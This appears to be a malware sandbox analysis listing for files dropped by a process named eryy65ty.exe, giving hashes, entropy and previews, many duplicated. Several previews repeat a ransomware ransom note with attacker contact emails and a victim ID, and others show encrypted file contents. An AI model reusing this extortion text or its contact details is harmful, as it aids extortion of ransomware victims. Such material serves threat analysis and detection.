                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):288
                                                                                                                                        Entropy (8bit):7.348024339922497
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:hpyc/Wp489zzD0g3evS6wAu8mqgyG8UAJmhslBR1MnXtanw7nrbh/Hn:Lyc/cnzzD0EevDuzqgp9AJmwBaXUabxn
                                                                                                                                        MD5:10BF3DB79CB3A61CD70EFDF05BE6CB3A
                                                                                                                                        SHA1:498D32D49968DB9E34ACE5338F34366B40BE5704
                                                                                                                                        SHA-256:9E36CA2F4AB4EDF390967605180E1A5720F13F4E68F48B61D307F06D35F4CA75
                                                                                                                                        SHA-512:6C0417A46A0DBACFEFD665241747EFBE6FF5767995503E7B603368103ED6B18C420030B0AA783D711741DFA363F77EEA0FE16F8A1FCEE26476EBFF38DF589008
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:;...Sf.rl.....>>].>>....zO.....2\.q..S........c....Ih....?...@v.5KU.......M...8......ue...g.['...qG.oTjLU]g_$..p......P.....3.x.D.....0.Y0....................U.o:V..^.E..A.v.....L..v}#...x..P....!.L_.y.B.......~"n...k....6...#.|..dtxW.:Q..F..........N..=%.^...1..0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):288
                                                                                                                                        Entropy (8bit):7.348024339922497
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:hpyc/Wp489zzD0g3evS6wAu8mqgyG8UAJmhslBR1MnXtanw7nrbh/Hn:Lyc/cnzzD0EevDuzqgp9AJmwBaXUabxn
                                                                                                                                        MD5:10BF3DB79CB3A61CD70EFDF05BE6CB3A
                                                                                                                                        SHA1:498D32D49968DB9E34ACE5338F34366B40BE5704
                                                                                                                                        SHA-256:9E36CA2F4AB4EDF390967605180E1A5720F13F4E68F48B61D307F06D35F4CA75
                                                                                                                                        SHA-512:6C0417A46A0DBACFEFD665241747EFBE6FF5767995503E7B603368103ED6B18C420030B0AA783D711741DFA363F77EEA0FE16F8A1FCEE26476EBFF38DF589008
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:;...Sf.rl.....>>].>>....zO.....2\.q..S........c....Ih....?...@v.5KU.......M...8......ue...g.['...qG.oTjLU]g_$..p......P.....3.x.D.....0.Y0....................U.o:V..^.E..A.v.....L..v}#...x..P....!.L_.y.B.......~"n...k....6...#.|..dtxW.:Q..F..........N..=%.^...1..0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):290
                                                                                                                                        Entropy (8bit):7.17135106233038
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:WqHDOnYzrTO4MiYFkUS1rRNNwlS89xPp2DsskzTDBd76xfNn:fyY0iYRK+IgPYRoTDBd76rn
                                                                                                                                        MD5:68B1CD0498E05F032580CFFD976CD4CE
                                                                                                                                        SHA1:4635F276459D4678A3C18E19188BF8202CE84319
                                                                                                                                        SHA-256:A2B306842C73BA0CE5729C74144405C4886B70D94BD9DF1D9BE21B978F194EC2
                                                                                                                                        SHA-512:E691BB82FA65BB4B18ECC8128D343A4194902FC472A01AC136404F2AD61CF7064F6205D38C73F3C321FFCAF0B4327D2D15E9C088348319CE2646B2FA023C6F9A
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:~.sI..,...g.x..<<>>].>>8@=%.....b..+.3..N....s...io....3=.\........o4.....^...4{...nI.....;....*.!....e=Y!.X.C...:.........t..z7.e..-r.0i]@s....*..H.)=......$....+*. .7.&.mCi.l.qi^.....B.).b.jy.....,..X;5$.q...%.|...d.2.y.4....Sq.J.c..>ZY.....z..v.y3.9.."..\.C.N....0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):290
                                                                                                                                        Entropy (8bit):7.17135106233038
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:WqHDOnYzrTO4MiYFkUS1rRNNwlS89xPp2DsskzTDBd76xfNn:fyY0iYRK+IgPYRoTDBd76rn
                                                                                                                                        MD5:68B1CD0498E05F032580CFFD976CD4CE
                                                                                                                                        SHA1:4635F276459D4678A3C18E19188BF8202CE84319
                                                                                                                                        SHA-256:A2B306842C73BA0CE5729C74144405C4886B70D94BD9DF1D9BE21B978F194EC2
                                                                                                                                        SHA-512:E691BB82FA65BB4B18ECC8128D343A4194902FC472A01AC136404F2AD61CF7064F6205D38C73F3C321FFCAF0B4327D2D15E9C088348319CE2646B2FA023C6F9A
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:~.sI..,...g.x..<<>>].>>8@=%.....b..+.3..N....s...io....3=.\........o4.....^...4{...nI.....;....*.!....e=Y!.X.C...:.........t..z7.e..-r.0i]@s....*..H.)=......$....+*. .7.&.mCi.l.qi^.....B.).b.jy.....,..X;5$.q...%.|...d.2.y.4....Sq.J.c..>ZY.....z..v.y3.9.."..\.C.N....0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):65716
                                                                                                                                        Entropy (8bit):6.568979055681241
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:768:Ufin1nwyJhnxsxPwkZ6x5RX1X2QdQZiXEWZBMZ/dYS8VLm+kig+GPG6V:Uq1wSnxslEkZ4ZeZutbzfM
                                                                                                                                        MD5:59A2088E3E9DAD68F8B5E2A4CB0A57E7
                                                                                                                                        SHA1:0A5C9AF621B2E60B1F913AE4C61002D282EC13C0
                                                                                                                                        SHA-256:DE6D04C1E28E0463FCB1903555DF3F95C4C950E52741ED0C82668D7C258996A0
                                                                                                                                        SHA-512:CBB70974FFE87CAF2C4511D08A477D279B61B022B9974BFE181A4E304BA1CA4E8C70378874B4EC67F4A0AD30442C1A90D46701051B2B4EB8700ABFA6A67A64CC
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...7i..N.........+....O.+.E.\.....7,....D.u[(.M{ .g..N.3y....H......Bn...+.......p..c:2$8+....r..=.\.....~to.io..4..;......mn. s..F.^../7aw(p....8W.F..d.Zb........zU*K_HE...F.....3..04....\G..l..".2..........%9.GY......x.#3......P.2.s. 2._i.6....>-....z.........E.....F....a.7.j...2...H..(.G"l.nX....V....5...E...b.R.K...^.~.U...Z..x.E..D...H....g.I.k.)ee.i.d.>p..sD..`..jh...N#!.KS....B..H|..xr....10...9...|...o.m...5....g.A8.Z2..y.2.R..>.w.....Uu.=.*dy......X......u..2....<.TG...g7.-...")..i].:..LU..{.....P.1};z.o..P.....M.. S>...0'......c.$.e..yZ.....Py.k...$.z.1..X....7.~SAm..........t...<....z?.....z..6...[.t*9M....J^wmw.!.fX=.|^...T......`]....C..x...7.....K.1...V?......pH6/..5{K. .......Q.....&......v.i5..J..AI....W.....9l#)....+.R.. ..y.GW..5..~u....Z....Ex./..:U.........+..M.......-...M.E..nj.*.j!.....q..$.'.-}.,..[.E..C..,_.BmRye......j%9v{!"..........lr,.1..c..6.Q..u.U..O@e.^..aIN.?..ss.....^>....XS....(...A..N..]+..7..2
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):65716
                                                                                                                                        Entropy (8bit):6.568979055681241
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:768:Ufin1nwyJhnxsxPwkZ6x5RX1X2QdQZiXEWZBMZ/dYS8VLm+kig+GPG6V:Uq1wSnxslEkZ4ZeZutbzfM
                                                                                                                                        MD5:59A2088E3E9DAD68F8B5E2A4CB0A57E7
                                                                                                                                        SHA1:0A5C9AF621B2E60B1F913AE4C61002D282EC13C0
                                                                                                                                        SHA-256:DE6D04C1E28E0463FCB1903555DF3F95C4C950E52741ED0C82668D7C258996A0
                                                                                                                                        SHA-512:CBB70974FFE87CAF2C4511D08A477D279B61B022B9974BFE181A4E304BA1CA4E8C70378874B4EC67F4A0AD30442C1A90D46701051B2B4EB8700ABFA6A67A64CC
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...7i..N.........+....O.+.E.\.....7,....D.u[(.M{ .g..N.3y....H......Bn...+.......p..c:2$8+....r..=.\.....~to.io..4..;......mn. s..F.^../7aw(p....8W.F..d.Zb........zU*K_HE...F.....3..04....\G..l..".2..........%9.GY......x.#3......P.2.s. 2._i.6....>-....z.........E.....F....a.7.j...2...H..(.G"l.nX....V....5...E...b.R.K...^.~.U...Z..x.E..D...H....g.I.k.)ee.i.d.>p..sD..`..jh...N#!.KS....B..H|..xr....10...9...|...o.m...5....g.A8.Z2..y.2.R..>.w.....Uu.=.*dy......X......u..2....<.TG...g7.-...")..i].:..LU..{.....P.1};z.o..P.....M.. S>...0'......c.$.e..yZ.....Py.k...$.z.1..X....7.~SAm..........t...<....z?.....z..6...[.t*9M....J^wmw.!.fX=.|^...T......`]....C..x...7.....K.1...V?......pH6/..5{K. .......Q.....&......v.i5..J..AI....W.....9l#)....+.R.. ..y.GW..5..~u....Z....Ex./..:U.........+..M.......-...M.E..nj.*.j!.....q..$.'.-}.,..[.E..C..,_.BmRye......j%9v{!"..........lr,.1..c..6.Q..u.U..O@e.^..aIN.?..ss.....^>....XS....(...A..N..]+..7..2
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1003
                                                                                                                                        Entropy (8bit):7.825729198536454
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:zbiVdLxS2VnahNmEg7vhzrVofyzNTf1ZLSBqWKzCFGhVwNOV:zbW3S2VnOA5rVTz9f3S7KO0hVA0
                                                                                                                                        MD5:3F03E9A22A26DBF3776506FAB3CA63CC
                                                                                                                                        SHA1:03D63F607AA6C88B907C69E4250CCA2E7BEDEF7A
                                                                                                                                        SHA-256:67A69AE297AED841BBB764CA14C6829645962256A1E37A895F98E8AD87B8BF3D
                                                                                                                                        SHA-512:C4A2846C15079487B884560B90964EF995EC6380F2E1D76712838272BACDBE6DFD20EB5D726AB50C8C78E8B5B36B213A925EE9E79807BB4BE0A3C590E6BE64C0
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:2.h2n)D........Za?....g.....xk.h....GP.i...XD.k.i....e....V[".3.'..*s....It....K....@...Bq....(..m...E._......S..F..5..i........O.....PU....n#)..8]hk.f...d._'..+.[.<X......{.....@.........;_1$:.B....6...c.H...J3Z-&&G`..t|...u..HGM.{....z....j.Be..#.9...*/G...@..h.g.'...vjn.g6.{.1..n.N...g..V.a.......l<E8.....<r>.,.c+...+a.4...]...h....QI..Yf\]...[.:.J.p.#g.1.}.........A....0..D.$.............$.............2.7.....tzD`{.t..%kT...*.......F.>Sp.{..Vdy."......3.c..ti`S....ON.....g.....[.&.n.....%Z.(.w....L..+.%.5d*3.[:ZE..*.@.....c......f..fJ.D.d..e..I...0....iF...&=.>F.....x...'.L........ ........zm'..4..R.C}.u...e...SI5.....FL...b..A..(h..8v....c.^\.8.;.s.0....Bxm..T.[..dT..).Ti......K8......b.U.!..q.-....9]xQ.....2.._.).u,/.^`..L..6:v.Xt.{..bdH.t..*..'.JW.'.'.O....c=..({Zg.J.1........N.........%..5.......gQ;&E..hB..C.W..=..c....=Z.j.............]c...~.I!]0H.N.z.....6CNY..|..?..7X...h=eu+.?...Q 7}...1E..6..M..r.5i..EG...]j}S9.C0xABADC
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1003
                                                                                                                                        Entropy (8bit):7.825729198536454
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:zbiVdLxS2VnahNmEg7vhzrVofyzNTf1ZLSBqWKzCFGhVwNOV:zbW3S2VnOA5rVTz9f3S7KO0hVA0
                                                                                                                                        MD5:3F03E9A22A26DBF3776506FAB3CA63CC
                                                                                                                                        SHA1:03D63F607AA6C88B907C69E4250CCA2E7BEDEF7A
                                                                                                                                        SHA-256:67A69AE297AED841BBB764CA14C6829645962256A1E37A895F98E8AD87B8BF3D
                                                                                                                                        SHA-512:C4A2846C15079487B884560B90964EF995EC6380F2E1D76712838272BACDBE6DFD20EB5D726AB50C8C78E8B5B36B213A925EE9E79807BB4BE0A3C590E6BE64C0
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:2.h2n)D........Za?....g.....xk.h....GP.i...XD.k.i....e....V[".3.'..*s....It....K....@...Bq....(..m...E._......S..F..5..i........O.....PU....n#)..8]hk.f...d._'..+.[.<X......{.....@.........;_1$:.B....6...c.H...J3Z-&&G`..t|...u..HGM.{....z....j.Be..#.9...*/G...@..h.g.'...vjn.g6.{.1..n.N...g..V.a.......l<E8.....<r>.,.c+...+a.4...]...h....QI..Yf\]...[.:.J.p.#g.1.}.........A....0..D.$.............$.............2.7.....tzD`{.t..%kT...*.......F.>Sp.{..Vdy."......3.c..ti`S....ON.....g.....[.&.n.....%Z.(.w....L..+.%.5d*3.[:ZE..*.@.....c......f..fJ.D.d..e..I...0....iF...&=.>F.....x...'.L........ ........zm'..4..R.C}.u...e...SI5.....FL...b..A..(h..8v....c.^\.8.;.s.0....Bxm..T.[..dT..).Ti......K8......b.U.!..q.-....9]xQ.....2.._.).u,/.^`..L..6:v.Xt.{..bdH.t..*..'.JW.'.'.O....c=..({Zg.J.1........N.........%..5.......gQ;&E..hB..C.W..=..c....=Z.j.............]c...~.I!]0H.N.z.....6CNY..|..?..7X...h=eu+.?...Q 7}...1E..6..M..r.5i..EG...]j}S9.C0xABADC
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):10506
                                                                                                                                        Entropy (8bit):4.271141642998736
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:OBQb60PPj5YZvMMbximXmpJaRP7879hu3kkkmzq4:OBQb6AWhMAq8P7M9eX
                                                                                                                                        MD5:662D55920C2F31EB34B6D36E2EB25AF0
                                                                                                                                        SHA1:1E96C0FE5CED50BDCC2A773C41D751804E222510
                                                                                                                                        SHA-256:69000C5DC3A54A1E64F5CF08FAA2F7F332D42D580862DD8208EBD6342A06A639
                                                                                                                                        SHA-512:E1CE5C4120B41FF0144A3843A5D78A68C85E31917F6678427FB92C734E4F0F075E6C9B9EE6FCE0BE9600898E8176B62C05CD48107AC3DD7A1FCAC271DF70954B
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.....Y.}w..A...911..U.8.+....._Q..5p.N."Z")..".}...P[...(....!TB.....}.}..W..]3i......zi.}.y ...o\_.".^....Y..oJr.EFk$.&..@..).iz''..e.P...@.....c....j...M.X.?u....aSs...#.z.......%.....8I.r..}X?c... Ps..W_.....Z.cT.0-.?f...cy.........?.#.U..o..,..@..^..{..D.Y.6])y.T'..B.a.........*.E.....(....1.$.=.z.2#.=,p....V..Q..E.6..\p.F........`3T.C.".Q..w.`%..{...+9.5..KB&.}.....k..#.e..q\~.'....0......`.Q?.1H.`.$...B%..\h+xsuH....4..8^g.Z.cF.B/P...%.o8.7,R..:......a......!../?.r*c...d.'.!L..D.}.td.......M.....zV.....J..<R..]R...M..4.....MG4G..a..A.J..z.%.wEA.J.T....T.j.@A...v.kP[..{z....~.ct.....Z.......5v.r....^...S..lv.v..\......X ....x.....|............x(.l!.....U._.4..,H=...x.>],...N.b?E.2.(...MU..W..5bU.='.0.\"G...;..P~......|..pA.KK.j4..%..a!../Oo".E..6..6..p.[;j......Z..,.....T........C....7L-.....8(5GG.*N/.b{........W...Y..V..=(....+7....P.R*.@X..]..4$R.FFz..vi..!...l#l.K....dq2%..'.....t..<p..0l.F....7J]....|..X...4.GH..r....)qj.h..j..!....
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):10506
                                                                                                                                        Entropy (8bit):4.271141642998736
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:OBQb60PPj5YZvMMbximXmpJaRP7879hu3kkkmzq4:OBQb6AWhMAq8P7M9eX
                                                                                                                                        MD5:662D55920C2F31EB34B6D36E2EB25AF0
                                                                                                                                        SHA1:1E96C0FE5CED50BDCC2A773C41D751804E222510
                                                                                                                                        SHA-256:69000C5DC3A54A1E64F5CF08FAA2F7F332D42D580862DD8208EBD6342A06A639
                                                                                                                                        SHA-512:E1CE5C4120B41FF0144A3843A5D78A68C85E31917F6678427FB92C734E4F0F075E6C9B9EE6FCE0BE9600898E8176B62C05CD48107AC3DD7A1FCAC271DF70954B
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.....Y.}w..A...911..U.8.+....._Q..5p.N."Z")..".}...P[...(....!TB.....}.}..W..]3i......zi.}.y ...o\_.".^....Y..oJr.EFk$.&..@..).iz''..e.P...@.....c....j...M.X.?u....aSs...#.z.......%.....8I.r..}X?c... Ps..W_.....Z.cT.0-.?f...cy.........?.#.U..o..,..@..^..{..D.Y.6])y.T'..B.a.........*.E.....(....1.$.=.z.2#.=,p....V..Q..E.6..\p.F........`3T.C.".Q..w.`%..{...+9.5..KB&.}.....k..#.e..q\~.'....0......`.Q?.1H.`.$...B%..\h+xsuH....4..8^g.Z.cF.B/P...%.o8.7,R..:......a......!../?.r*c...d.'.!L..D.}.td.......M.....zV.....J..<R..]R...M..4.....MG4G..a..A.J..z.%.wEA.J.T....T.j.@A...v.kP[..{z....~.ct.....Z.......5v.r....^...S..lv.v..\......X ....x.....|............x(.l!.....U._.4..,H=...x.>],...N.b?E.2.(...MU..W..5bU.='.0.\"G...;..P~......|..pA.KK.j4..%..a!../Oo".E..6..6..p.[;j......Z..,.....T........C....7L-.....8(5GG.*N/.b{........W...Y..V..=(....+7....P.R*.@X..]..4$R.FFz..vi..!...l#l.K....dq2%..'.....t..<p..0l.F....7J]....|..X...4.GH..r....)qj.h..j..!....
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):24418
                                                                                                                                        Entropy (8bit):2.362424624340635
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:vRiw95K63q34Zt/oL1WTQwa5+q2YvPu4PWai97SRwMp3GSel8851b0:vRz5K663wtBaD2mPkGp3qlrrb0
                                                                                                                                        MD5:B1598C37EAB0B3BBCA2A09616888A6CA
                                                                                                                                        SHA1:DE206F3FF718D6292D58760DC184B6CD53D2BF40
                                                                                                                                        SHA-256:F8C0BCA4C524A33B222309FA6815CDB8CAF98D5DCE99EB2F6E46A54A012D57F0
                                                                                                                                        SHA-512:D22CC28AA5F0A64B7EDDBF7819D492B2500A0E57E495576C8F3AD0B6C17FB7E23E6A2030281AD84A649F4D9BCE274B2272EF0BBEAF2B67796932EBC8940486BD
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:U.l..f......J.u..~v..?..u........e..m....v__...p=:$+D.S.....O..f........vb.......7.nv4H#.f..r.'..n..[...........I.mo.........`....3...X.D..4..u...g./...kk..Y0.|..,.+}@.,[.{..n.X.5.v..V#....C.i.M..9.(..c}...Su.#.t..nk...\b...@(G .......&{..V..Z.P...&4.Y.#5Mc.a.._sxbZ*.E...~*b.I.[.=j+..\tT.}.....Mp9#.p.66iN.t.9....#.0.O..F~.......a@9..Q..H......m4./......|o..y.....a..Oy..-lT...br.v....k.........c.A...l....*dK....\.....gdn..uy,..I.e]..n.hJ.?m.su.....%...z.....0..!f.`.7`k+S......r.Pz.......i.}.w...."..>..$^..G7....HJ.Do..P......q.,?<..c.jg..".=...w.B$.J@.....QO...#*I.....|.S..BW.GV.p...".......v.Ip._N..X.B..o.9.....#.'c..rl7.i*g..~LIb.....vH..d.D..n...G....@p-.sj....l...7e..i.9.Go/.a=....-)tM.....R^..=.......w{]..>......4./..nob.v/t.QNT..}._.yGY,...qz..$....j.w=a .7.\.k!..?"G.!..v...Nr..G..>.O..Y....s3_...3..c.XNG..........?Z.v.(....3J.v....-W_L.)./B..i..LXe.......[+..-A.Uj......$....=IgP..^J.t..*...5.x,.....`(...&...c}.i./Z.....z..f..wDU...
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):24418
                                                                                                                                        Entropy (8bit):2.362424624340635
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:vRiw95K63q34Zt/oL1WTQwa5+q2YvPu4PWai97SRwMp3GSel8851b0:vRz5K663wtBaD2mPkGp3qlrrb0
                                                                                                                                        MD5:B1598C37EAB0B3BBCA2A09616888A6CA
                                                                                                                                        SHA1:DE206F3FF718D6292D58760DC184B6CD53D2BF40
                                                                                                                                        SHA-256:F8C0BCA4C524A33B222309FA6815CDB8CAF98D5DCE99EB2F6E46A54A012D57F0
                                                                                                                                        SHA-512:D22CC28AA5F0A64B7EDDBF7819D492B2500A0E57E495576C8F3AD0B6C17FB7E23E6A2030281AD84A649F4D9BCE274B2272EF0BBEAF2B67796932EBC8940486BD
                                                                                                                                        Malicious:false
